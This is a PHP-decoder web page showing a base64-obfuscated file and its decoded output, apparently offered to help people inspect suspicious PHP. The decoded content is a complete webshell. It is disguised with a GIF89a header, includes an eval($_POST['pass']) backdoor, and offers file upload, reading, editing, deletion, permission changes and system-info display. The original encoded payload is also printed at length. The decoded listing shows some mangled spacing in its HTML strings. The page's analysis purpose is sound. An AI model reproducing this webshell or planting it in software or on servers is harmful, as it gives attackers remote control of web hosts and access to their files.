Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval("?>" . base64_decode("Z2lmODlhPD9waHAgQGV2YWwoJF9QT1NUWydwYXNzJ10pOz8+Cjw/cGhwC..

Decoded Output download

<?php ?>gif89a<?php eval($_POST['pass']); ?>
<?php
set_time_limit(0);
error_reporting(0);
if (get_magic_quotes_gpc()) {
    foreach ($_POST as $key => $value) {
        $_POST[$key] = stripslashes($value);
    }
}
echo '<!DOCTYPE HTML>
<HTML>
<HEAD>
<link href="" rel="stylesheet" type="text/css">
<title>Webshell</title>
<style>
body{
    font-family: "Racing Sans One", cursive;
    background-color: #e6e6e6;
    text-shadow:0px 0px 1px #757575;
}
#content tr:hover{
    background-color: #636263;
    text-shadow:0px 0px 10px #fff;
}
#content .first{
    background-color: silver;
}
#content .first:hover{
    background-color: silver;
    text-shadow:0px 0px 1px #757575;
}
table{
    border: 1px #000000 dotted;
}
H1{
    font-family: "Rye", cursive;
}
a{
    color: #000;
    text-decoration: none;
}
a:hover{
    color: #fff;
    text-shadow:0px 0px 10px #ffffff;
}
input,select,textarea{
    border: 1px #000000 solid;
    -moz-border-radius: 5px;
    -webkit-border-radius:5px;
    border-radius:5px;
}
</style>
</HEAD>
<BODY>
<center>
<tr><td>Current Path : ';
if (isset($_GET['path'])) {
    $path = $_GET['path'];
} else {
    $path = getcwd();
}
$path = str_replace('\',' / ',$path);
$paths = explode(' / ',$path);

foreach($paths as $id=>$pat){
    if($pat == '' && $id == 0){
        $a = true;
        echo ' < ahref = "?path=/" > / < / a > ';
        continue;
    }
    if($pat == '') continue;
    echo ' < ahref = "?path=';
    for($i=0;$i<=$id;$i++){
        echo "$paths[$i]";
        if($i != $id) echo " / ";
    }
    echo '" > '.$pat.' < / a > / ';
}
echo ' < / td > < / tr > < tr > < td > ';
if(isset($_FILES['file'])){
    if(copy($_FILES['file']['tmp_name'],$path.' / '.$_FILES['file']['name'])){
        echo ' < fontcolor = "green" > FileUploadDone . < / font > < br / > ';
    }else{
        echo ' < fontcolor = "red" > FileUploadError . < / font > < br / > ';
    }
}
echo ' < b > < br > < br > '.php_uname().' < br > < / b > < br > ';
echo ' < formenctype = "multipart/form-data"method = "POST" > UploadFile: < inputtype = "file"name = "file" / > < inputtype = "submit"value = "upload" / > < / form > < / td > < / tr > ';
if(isset($_GET['filesrc'])){
    echo "<tr><td>Current File : ";
    echo $_GET['filesrc'];
    echo ' < / tr > < / td > < / table > < br / > ';
    echo(' < pre > '.htmlspecialchars(file_get_contents($_GET['filesrc'])).' < / pre > ');
}elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
    echo ' < / table > < br / > < center > '.$_POST['path'].' < br / > < br / > ';
    if($_POST['opt'] == 'chmod'){
        if(isset($_POST['perm'])){
            if(chmod($_POST['path'],$_POST['perm'])){
                echo ' < fontcolor = "green" > ChangePermissionDone . < / font > < br / > ';
            }else{
                echo ' < fontcolor = "red" > ChangePermissionError . < / font > < br / > ';
            }
        }
        echo ' < formmethod = "POST" > Permission: < inputname = "perm"type = "text"size = "4"value = "'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" / > < inputtype = "hidden"name = "path"value = "'.$_POST['path'].'" > < inputtype = "hidden"name = "opt"value = "chmod" > < inputtype = "submit"value = "Go" / > < / form > ';
    }elseif($_POST['opt'] == 'rename'){
        if(isset($_POST['newname'])){
            if(rename($_POST['path'],$path.' / '.$_POST['newname'])){
                echo ' < fontcolor = "green" > ChangeNameDone . < / font > < br / > ';
            }else{
                echo ' < fontcolor = "red" > ChangeNameError . < / font > < br / > ';
            }
            $_POST['name'] = $_POST['newname'];
        }
        echo ' < formmethod = "POST" > New Name: < inputname = "newname"type = "text"size = "20"value = "'.$_POST['name'].'" / > < inputtype = "hidden"name = "path"value = "'.$_POST['path'].'" > < inputtype = "hidden"name = "opt"value = "rename" > < inputtype = "submit"value = "Go" / > < / form > ';
    }elseif($_POST['opt'] == 'edit'){
        if(isset($_POST['src'])){
            $fp = fopen($_POST['path'],'w');
            if(fwrite($fp,$_POST['src'])){
                echo ' < fontcolor = "green" > EditFileDone . < / font > < br / > ';
            }else{
                echo ' < fontcolor = "red" > EditFileError . < / font > < br / > ';
            }
            fclose($fp);
        }
        echo ' < formmethod = "POST" > < textareacols = 80rows = 20name = "src" > '.htmlspecialchars(file_get_contents($_POST['path'])).' < / textarea > < br / > < inputtype = "hidden"name = "path"value = "'.$_POST['path'].'" > < inputtype = "hidden"name = "opt"value = "edit" > < inputtype = "submit"value = "Go" / > < / form > ';
    }
    echo ' < / center > ';
}else{
    echo ' < / table > < br / > < center > ';
    if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
        if($_POST['type'] == 'dir'){
            if(rmdir($_POST['path'])){
                echo ' < fontcolor = "green" > DeleteDirDone . < / font > < br / > ';
            }else{
                echo ' < fontcolor = "red" > DeleteDirError . < / font > < br / > ';
            }
        }elseif($_POST['type'] == 'file'){
            if(unlink($_POST['path'])){
                echo ' < fontcolor = "green" > DeleteFileDone . < / font > < br / > ';
            }else{
                echo ' < fontcolor = "red" > DeleteFileError . < / font > < br / > ';
            }
        }
    }
    echo ' < / center > ';
    $scandir = scandir($path);
    echo ' < divid = "content" > < tablewidth = "700"border = "0"cellpadding = "3"cellspacing = "1"align = "center" > < trclass = "first" > < td > < center > Name < / center > < / td > < td > < center > Size < / center > < / td > < td > < center > Permissions < / center > < / td > < td > < center > Options < / center > < / td > < / tr > ';

    foreach($scandir as $dir){
        if(!is_dir("$path/$dir") || $dir == ' . ' || $dir == ' . . ') continue;
        echo "<tr>
        <td><a href=\"?path=$path/$dir\">$dir</a></td>
        <td><center>--</center></td>
        <td><center>";
        if(is_writable("$path/$dir")) echo ' < fontcolor = "green" > ';
        elseif(!is_readable("$path/$dir")) echo ' < fontcolor = "red" > ';
        echo perms("$path/$dir");
        if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo ' < / font > ';
        
        echo "</center></td>
        <td><center><form method=\"POST\" action=\"?option&path=$path\">
        <select name=\"opt\">
	    <option value=\"\"></option>
        <option value=\"delete\">Delete</option>
        <option value=\"chmod\">Chmod</option>
        <option value=\"rename\">Rename</option>
        </select>
        <input type=\"hidden\" name=\"type\" value=\"dir\">
        <input type=\"hidden\" name=\"name\" value=\"$dir\">
        <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
        <input type=\"submit\" value=\">\" />
        </form></center></td>
        </tr>";
    }
    echo ' < trclass = "first" > < td > < / td > < td > < / td > < td > < / td > < td > < / td > < / tr > ';
    foreach($scandir as $file){
        if(!is_file("$path/$file")) continue;
        $size = filesize("$path/$file")/1024;
        $size = round($size,3);
        if($size >= 1024){
            $size = round($size/1024,2).'MB';
        }else{
            $size = $size.'KB';
        }

        echo "<tr>
        <td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
        <td><center>".$size."</center></td>
        <td><center>";
        if(is_writable("$path/$file")) echo ' < fontcolor = "green" > ';
        elseif(!is_readable("$path/$file")) echo ' < fontcolor = "red" > ';
        echo perms("$path/$file");
        if(is_writable("$path/$file") || !is_readable("$path/$file")) echo ' < / font > ';
        echo "</center></td>
        <td><center><form method=\"POST\" action=\"?option&path=$path\">
        <select name=\"opt\">
	    <option value=\"\"></option>
        <option value=\"delete\">Delete</option>
        <option value=\"chmod\">Chmod</option>
        <option value=\"rename\">Rename</option>
        <option value=\"edit\">Edit</option>
        </select>
        <input type=\"hidden\" name=\"type\" value=\"file\">
        <input type=\"hidden\" name=\"name\" value=\"$file\">
        <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
        <input type=\"submit\" value=\">\" />
        </form></center></td>
        </tr>";
    }
    echo ' < / table > < / div > ';
}
echo ' < br / > < / BODY > < / HTML > ';
function perms($file){
    $perms = fileperms($file);

if (($perms & 0xC000) == 0xC000) {
    // Socket
    $info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
    // Symbolic Link
    $info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
    // Regular
    $info = ' - ';
} elseif (($perms & 0x6000) == 0x6000) {
    // Block special
    $info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
    // Directory
    $info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
    // Character special
    $info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
    // FIFO pipe
    $info = 'p';
} else {
    // Unknown
    $info = 'u';
}

// Owner
$info .= (($perms & 0x0100) ? 'r' : ' - ');
$info .= (($perms & 0x0080) ? 'w' : ' - ');
$info .= (($perms & 0x0040) ?
            (($perms & 0x0800) ? 's' : 'x' ) :
            (($perms & 0x0800) ? 'S' : ' - '));

// Group
$info .= (($perms & 0x0020) ? 'r' : ' - ');
$info .= (($perms & 0x0010) ? 'w' : ' - ');
$info .= (($perms & 0x0008) ?
            (($perms & 0x0400) ? 's' : 'x' ) :
            (($perms & 0x0400) ? 'S' : ' - '));

// World
$info .= (($perms & 0x0004) ? 'r' : ' - ');
$info .= (($perms & 0x0002) ? 'w' : ' - ');
$info .= (($perms & 0x0001) ?
            (($perms & 0x0200) ? 't' : 'x' ) :
            (($perms & 0x0200) ? 'T' : ' - '));

    return $info;
}
?>

Did this file decode correctly?

Original Code

<?php eval("?>" . base64_decode("Z2lmODlhPD9waHAgQGV2YWwoJF9QT1NUWydwYXNzJ10pOz8+Cjw/cGhwCnNldF90aW1lX2xpbWl0KDApOwplcnJvcl9yZXBvcnRpbmcoMCk7CgppZihnZXRfbWFnaWNfcXVvdGVzX2dwYygpKXsKICAgIGZvcmVhY2goJF9QT1NUIGFzICRrZXk9PiR2YWx1ZSl7CiAgICAgICAgJF9QT1NUWyRrZXldID0gc3RyaXBzbGFzaGVzKCR2YWx1ZSk7CiAgICB9Cn0KZWNobyAnPCFET0NUWVBFIEhUTUw+CjxIVE1MPgo8SEVBRD4KPGxpbmsgaHJlZj0iIiByZWw9InN0eWxlc2hlZXQiIHR5cGU9InRleHQvY3NzIj4KPHRpdGxlPldlYnNoZWxsPC90aXRsZT4KPHN0eWxlPgpib2R5ewogICAgZm9udC1mYW1pbHk6ICJSYWNpbmcgU2FucyBPbmUiLCBjdXJzaXZlOwogICAgYmFja2dyb3VuZC1jb2xvcjogI2U2ZTZlNjsKICAgIHRleHQtc2hhZG93OjBweCAwcHggMXB4ICM3NTc1NzU7Cn0KI2NvbnRlbnQgdHI6aG92ZXJ7CiAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjNjM2MjYzOwogICAgdGV4dC1zaGFkb3c6MHB4IDBweCAxMHB4ICNmZmY7Cn0KI2NvbnRlbnQgLmZpcnN0ewogICAgYmFja2dyb3VuZC1jb2xvcjogc2lsdmVyOwp9CiNjb250ZW50IC5maXJzdDpob3ZlcnsKICAgIGJhY2tncm91bmQtY29sb3I6IHNpbHZlcjsKICAgIHRleHQtc2hhZG93OjBweCAwcHggMXB4ICM3NTc1NzU7Cn0KdGFibGV7CiAgICBib3JkZXI6IDFweCAjMDAwMDAwIGRvdHRlZDsKfQpIMXsKICAgIGZvbnQtZmFtaWx5OiAiUnllIiwgY3Vyc2l2ZTsKfQphewogICAgY29sb3I6ICMwMDA7CiAgICB0ZXh0LWRlY29yYXRpb246IG5vbmU7Cn0KYTpob3ZlcnsKICAgIGNvbG9yOiAjZmZmOwogICAgdGV4dC1zaGFkb3c6MHB4IDBweCAxMHB4ICNmZmZmZmY7Cn0KaW5wdXQsc2VsZWN0LHRleHRhcmVhewogICAgYm9yZGVyOiAxcHggIzAwMDAwMCBzb2xpZDsKICAgIC1tb3otYm9yZGVyLXJhZGl1czogNXB4OwogICAgLXdlYmtpdC1ib3JkZXItcmFkaXVzOjVweDsKICAgIGJvcmRlci1yYWRpdXM6NXB4Owp9Cjwvc3R5bGU+CjwvSEVBRD4KPEJPRFk+CjxjZW50ZXI+Cjx0cj48dGQ+Q3VycmVudCBQYXRoIDogJzsKaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpewogICAgJHBhdGggPSAkX0dFVFsncGF0aCddOyAgIAp9ZWxzZXsKICAgICRwYXRoID0gZ2V0Y3dkKCk7Cn0KJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCcvJywkcGF0aCk7CiRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsKCmZvcmVhY2goJHBhdGhzIGFzICRpZD0+JHBhdCl7CiAgICBpZigkcGF0ID09ICcnICYmICRpZCA9PSAwKXsKICAgICAgICAkYSA9IHRydWU7CiAgICAgICAgZWNobyAnPGEgaHJlZj0iP3BhdGg9LyI+LzwvYT4nOwogICAgICAgIGNvbnRpbnVlOwogICAgfQogICAgaWYoJHBhdCA9PSAnJykgY29udGludWU7CiAgICBlY2hvICc8YSBocmVmPSI/cGF0aD0nOwogICAgZm9yKCRpPTA7JGk8PSRpZDskaSsrKXsKICAgICAgICBlY2hvICIkcGF0aHNbJGldIjsKICAgICAgICBpZigkaSAhPSAkaWQpIGVjaG8gIi8iOwogICAgfQogICAgZWNobyAnIj4nLiRwYXQuJzwvYT4vJzsKfQplY2hvICc8L3RkPjwvdHI+PHRyPjx0ZD4nOwppZihpc3NldCgkX0ZJTEVTWydmaWxlJ10pKXsKICAgIGlmKGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRwYXRoLicvJy4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpewogICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+RmlsZSBVcGxvYWQgRG9uZS48L2ZvbnQ+PGJyIC8+JzsKICAgIH1lbHNlewogICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPkZpbGUgVXBsb2FkIEVycm9yLjwvZm9udD48YnIgLz4nOwogICAgfQp9CmVjaG8gJzxiPjxicj48YnI+Jy5waHBfdW5hbWUoKS4nPGJyPjwvYj48YnI+JzsKZWNobyAnPGZvcm0gZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIj4KVXBsb2FkIEZpbGUgOiA8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgLz4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9InVwbG9hZCIgLz4KPC9mb3JtPgo8L3RkPjwvdHI+JzsKaWYoaXNzZXQoJF9HRVRbJ2ZpbGVzcmMnXSkpewogICAgZWNobyAiPHRyPjx0ZD5DdXJyZW50IEZpbGUgOiAiOwogICAgZWNobyAkX0dFVFsnZmlsZXNyYyddOwogICAgZWNobyAnPC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsKICAgIGVjaG8oJzxwcmU+Jy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRfR0VUWydmaWxlc3JjJ10pKS4nPC9wcmU+Jyk7Cn1lbHNlaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX1BPU1RbJ29wdCddICE9ICdkZWxldGUnKXsKICAgIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nLiRfUE9TVFsncGF0aCddLic8YnIgLz48YnIgLz4nOwogICAgaWYoJF9QT1NUWydvcHQnXSA9PSAnY2htb2QnKXsKICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3Blcm0nXSkpewogICAgICAgICAgICBpZihjaG1vZCgkX1BPU1RbJ3BhdGgnXSwkX1BPU1RbJ3Blcm0nXSkpewogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj5DaGFuZ2UgUGVybWlzc2lvbiBEb25lLjwvZm9udD48YnIgLz4nOwogICAgICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPkNoYW5nZSBQZXJtaXNzaW9uIEVycm9yLjwvZm9udD48YnIgLz4nOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+CiAgICAgICAgUGVybWlzc2lvbiA6IDxpbnB1dCBuYW1lPSJwZXJtIiB0eXBlPSJ0ZXh0IiBzaXplPSI0IiB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJF9QT1NUWydwYXRoJ10pKSwgLTQpLiciIC8+CiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJF9QT1NUWydwYXRoJ10uJyI+CiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib3B0IiB2YWx1ZT0iY2htb2QiPgogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJHbyIgLz4KICAgICAgICA8L2Zvcm0+JzsKICAgIH1lbHNlaWYoJF9QT1NUWydvcHQnXSA9PSAncmVuYW1lJyl7CiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWyduZXduYW1lJ10pKXsKICAgICAgICAgICAgaWYocmVuYW1lKCRfUE9TVFsncGF0aCddLCRwYXRoLicvJy4kX1BPU1RbJ25ld25hbWUnXSkpewogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj5DaGFuZ2UgTmFtZSBEb25lLjwvZm9udD48YnIgLz4nOwogICAgICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPkNoYW5nZSBOYW1lIEVycm9yLjwvZm9udD48YnIgLz4nOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRfUE9TVFsnbmFtZSddID0gJF9QT1NUWyduZXduYW1lJ107CiAgICAgICAgfQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+CiAgICAgICAgTmV3IE5hbWUgOiA8aW5wdXQgbmFtZT0ibmV3bmFtZSIgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIHZhbHVlPSInLiRfUE9TVFsnbmFtZSddLiciIC8+CiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJF9QT1NUWydwYXRoJ10uJyI+CiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib3B0IiB2YWx1ZT0icmVuYW1lIj4KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iR28iIC8+CiAgICAgICAgPC9mb3JtPic7CiAgICB9ZWxzZWlmKCRfUE9TVFsnb3B0J10gPT0gJ2VkaXQnKXsKICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7CiAgICAgICAgICAgICRmcCA9IGZvcGVuKCRfUE9TVFsncGF0aCddLCd3Jyk7CiAgICAgICAgICAgIGlmKGZ3cml0ZSgkZnAsJF9QT1NUWydzcmMnXSkpewogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj5FZGl0IEZpbGUgRG9uZS48L2ZvbnQ+PGJyIC8+JzsKICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj5FZGl0IEZpbGUgRXJyb3IuPC9mb250PjxiciAvPic7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZmNsb3NlKCRmcCk7CiAgICAgICAgfQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+CiAgICAgICAgPHRleHRhcmVhIGNvbHM9ODAgcm93cz0yMCBuYW1lPSJzcmMiPicuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX1BPU1RbJ3BhdGgnXSkpLic8L3RleHRhcmVhPjxiciAvPgogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRfUE9TVFsncGF0aCddLiciPgogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImVkaXQiPgogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJHbyIgLz4KICAgICAgICA8L2Zvcm0+JzsKICAgIH0KICAgIGVjaG8gJzwvY2VudGVyPic7Cn1lbHNlewogICAgZWNobyAnPC90YWJsZT48YnIgLz48Y2VudGVyPic7CiAgICBpZihpc3NldCgkX0dFVFsnb3B0aW9uJ10pICYmICRfUE9TVFsnb3B0J10gPT0gJ2RlbGV0ZScpewogICAgICAgIGlmKCRfUE9TVFsndHlwZSddID09ICdkaXInKXsKICAgICAgICAgICAgaWYocm1kaXIoJF9QT1NUWydwYXRoJ10pKXsKICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+RGVsZXRlIERpciBEb25lLjwvZm9udD48YnIgLz4nOwogICAgICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPkRlbGV0ZSBEaXIgRXJyb3IuPC9mb250PjxiciAvPic7CiAgICAgICAgICAgIH0KICAgICAgICB9ZWxzZWlmKCRfUE9TVFsndHlwZSddID09ICdmaWxlJyl7CiAgICAgICAgICAgIGlmKHVubGluaygkX1BPU1RbJ3BhdGgnXSkpewogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj5EZWxldGUgRmlsZSBEb25lLjwvZm9udD48YnIgLz4nOwogICAgICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPkRlbGV0ZSBGaWxlIEVycm9yLjwvZm9udD48YnIgLz4nOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQogICAgZWNobyAnPC9jZW50ZXI+JzsKICAgICRzY2FuZGlyID0gc2NhbmRpcigkcGF0aCk7CiAgICBlY2hvICc8ZGl2IGlkPSJjb250ZW50Ij48dGFibGUgd2lkdGg9IjcwMCIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjEiIGFsaWduPSJjZW50ZXIiPgogICAgPHRyIGNsYXNzPSJmaXJzdCI+CiAgICAgICAgPHRkPjxjZW50ZXI+TmFtZTwvY2VudGVyPjwvdGQ+CiAgICAgICAgPHRkPjxjZW50ZXI+U2l6ZTwvY2VudGVyPjwvdGQ+CiAgICAgICAgPHRkPjxjZW50ZXI+UGVybWlzc2lvbnM8L2NlbnRlcj48L3RkPgogICAgICAgIDx0ZD48Y2VudGVyPk9wdGlvbnM8L2NlbnRlcj48L3RkPgogICAgPC90cj4nOwoKICAgIGZvcmVhY2goJHNjYW5kaXIgYXMgJGRpcil7CiAgICAgICAgaWYoIWlzX2RpcigiJHBhdGgvJGRpciIpIHx8ICRkaXIgPT0gJy4nIHx8ICRkaXIgPT0gJy4uJykgY29udGludWU7CiAgICAgICAgZWNobyAiPHRyPgogICAgICAgIDx0ZD48YSBocmVmPVwiP3BhdGg9JHBhdGgvJGRpclwiPiRkaXI8L2E+PC90ZD4KICAgICAgICA8dGQ+PGNlbnRlcj4tLTwvY2VudGVyPjwvdGQ+CiAgICAgICAgPHRkPjxjZW50ZXI+IjsKICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPic7CiAgICAgICAgZWxzZWlmKCFpc19yZWFkYWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOwogICAgICAgIGVjaG8gcGVybXMoIiRwYXRoLyRkaXIiKTsKICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGRpciIpIHx8ICFpc19yZWFkYWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8L2ZvbnQ+JzsKICAgICAgICAKICAgICAgICBlY2hvICI8L2NlbnRlcj48L3RkPgogICAgICAgIDx0ZD48Y2VudGVyPjxmb3JtIG1ldGhvZD1cIlBPU1RcIiBhY3Rpb249XCI/b3B0aW9uJnBhdGg9JHBhdGhcIj4KICAgICAgICA8c2VsZWN0IG5hbWU9XCJvcHRcIj4KCSAgICA8b3B0aW9uIHZhbHVlPVwiXCI+PC9vcHRpb24+CiAgICAgICAgPG9wdGlvbiB2YWx1ZT1cImRlbGV0ZVwiPkRlbGV0ZTwvb3B0aW9uPgogICAgICAgIDxvcHRpb24gdmFsdWU9XCJjaG1vZFwiPkNobW9kPC9vcHRpb24+CiAgICAgICAgPG9wdGlvbiB2YWx1ZT1cInJlbmFtZVwiPlJlbmFtZTwvb3B0aW9uPgogICAgICAgIDwvc2VsZWN0PgogICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInR5cGVcIiB2YWx1ZT1cImRpclwiPgogICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cIm5hbWVcIiB2YWx1ZT1cIiRkaXJcIj4KICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJwYXRoXCIgdmFsdWU9XCIkcGF0aC8kZGlyXCI+CiAgICAgICAgPGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIj5cIiAvPgogICAgICAgIDwvZm9ybT48L2NlbnRlcj48L3RkPgogICAgICAgIDwvdHI+IjsKICAgIH0KICAgIGVjaG8gJzx0ciBjbGFzcz0iZmlyc3QiPjx0ZD48L3RkPjx0ZD48L3RkPjx0ZD48L3RkPjx0ZD48L3RkPjwvdHI+JzsKICAgIGZvcmVhY2goJHNjYW5kaXIgYXMgJGZpbGUpewogICAgICAgIGlmKCFpc19maWxlKCIkcGF0aC8kZmlsZSIpKSBjb250aW51ZTsKICAgICAgICAkc2l6ZSA9IGZpbGVzaXplKCIkcGF0aC8kZmlsZSIpLzEwMjQ7CiAgICAgICAgJHNpemUgPSByb3VuZCgkc2l6ZSwzKTsKICAgICAgICBpZigkc2l6ZSA+PSAxMDI0KXsKICAgICAgICAgICAgJHNpemUgPSByb3VuZCgkc2l6ZS8xMDI0LDIpLicgTUInOwogICAgICAgIH1lbHNlewogICAgICAgICAgICAkc2l6ZSA9ICRzaXplLicgS0InOwogICAgICAgIH0KCiAgICAgICAgZWNobyAiPHRyPgogICAgICAgIDx0ZD48YSBocmVmPVwiP2ZpbGVzcmM9JHBhdGgvJGZpbGUmcGF0aD0kcGF0aFwiPiRmaWxlPC9hPjwvdGQ+CiAgICAgICAgPHRkPjxjZW50ZXI+Ii4kc2l6ZS4iPC9jZW50ZXI+PC90ZD4KICAgICAgICA8dGQ+PGNlbnRlcj4iOwogICAgICAgIGlmKGlzX3dyaXRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPic7CiAgICAgICAgZWxzZWlmKCFpc19yZWFkYWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+JzsKICAgICAgICBlY2hvIHBlcm1zKCIkcGF0aC8kZmlsZSIpOwogICAgICAgIGlmKGlzX3dyaXRhYmxlKCIkcGF0aC8kZmlsZSIpIHx8ICFpc19yZWFkYWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPC9mb250Pic7CiAgICAgICAgZWNobyAiPC9jZW50ZXI+PC90ZD4KICAgICAgICA8dGQ+PGNlbnRlcj48Zm9ybSBtZXRob2Q9XCJQT1NUXCIgYWN0aW9uPVwiP29wdGlvbiZwYXRoPSRwYXRoXCI+CiAgICAgICAgPHNlbGVjdCBuYW1lPVwib3B0XCI+CgkgICAgPG9wdGlvbiB2YWx1ZT1cIlwiPjwvb3B0aW9uPgogICAgICAgIDxvcHRpb24gdmFsdWU9XCJkZWxldGVcIj5EZWxldGU8L29wdGlvbj4KICAgICAgICA8b3B0aW9uIHZhbHVlPVwiY2htb2RcIj5DaG1vZDwvb3B0aW9uPgogICAgICAgIDxvcHRpb24gdmFsdWU9XCJyZW5hbWVcIj5SZW5hbWU8L29wdGlvbj4KICAgICAgICA8b3B0aW9uIHZhbHVlPVwiZWRpdFwiPkVkaXQ8L29wdGlvbj4KICAgICAgICA8L3NlbGVjdD4KICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ0eXBlXCIgdmFsdWU9XCJmaWxlXCI+CiAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwibmFtZVwiIHZhbHVlPVwiJGZpbGVcIj4KICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJwYXRoXCIgdmFsdWU9XCIkcGF0aC8kZmlsZVwiPgogICAgICAgIDxpbnB1dCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCI+XCIgLz4KICAgICAgICA8L2Zvcm0+PC9jZW50ZXI+PC90ZD4KICAgICAgICA8L3RyPiI7CiAgICB9CiAgICBlY2hvICc8L3RhYmxlPgogICAgPC9kaXY+JzsKfQplY2hvICc8YnIgLz4KPC9CT0RZPgo8L0hUTUw+JzsKZnVuY3Rpb24gcGVybXMoJGZpbGUpewogICAgJHBlcm1zID0gZmlsZXBlcm1zKCRmaWxlKTsKCmlmICgoJHBlcm1zICYgMHhDMDAwKSA9PSAweEMwMDApIHsKICAgIC8vIFNvY2tldAogICAgJGluZm8gPSAncyc7Cn0gZWxzZWlmICgoJHBlcm1zICYgMHhBMDAwKSA9PSAweEEwMDApIHsKICAgIC8vIFN5bWJvbGljIExpbmsKICAgICRpbmZvID0gJ2wnOwp9IGVsc2VpZiAoKCRwZXJtcyAmIDB4ODAwMCk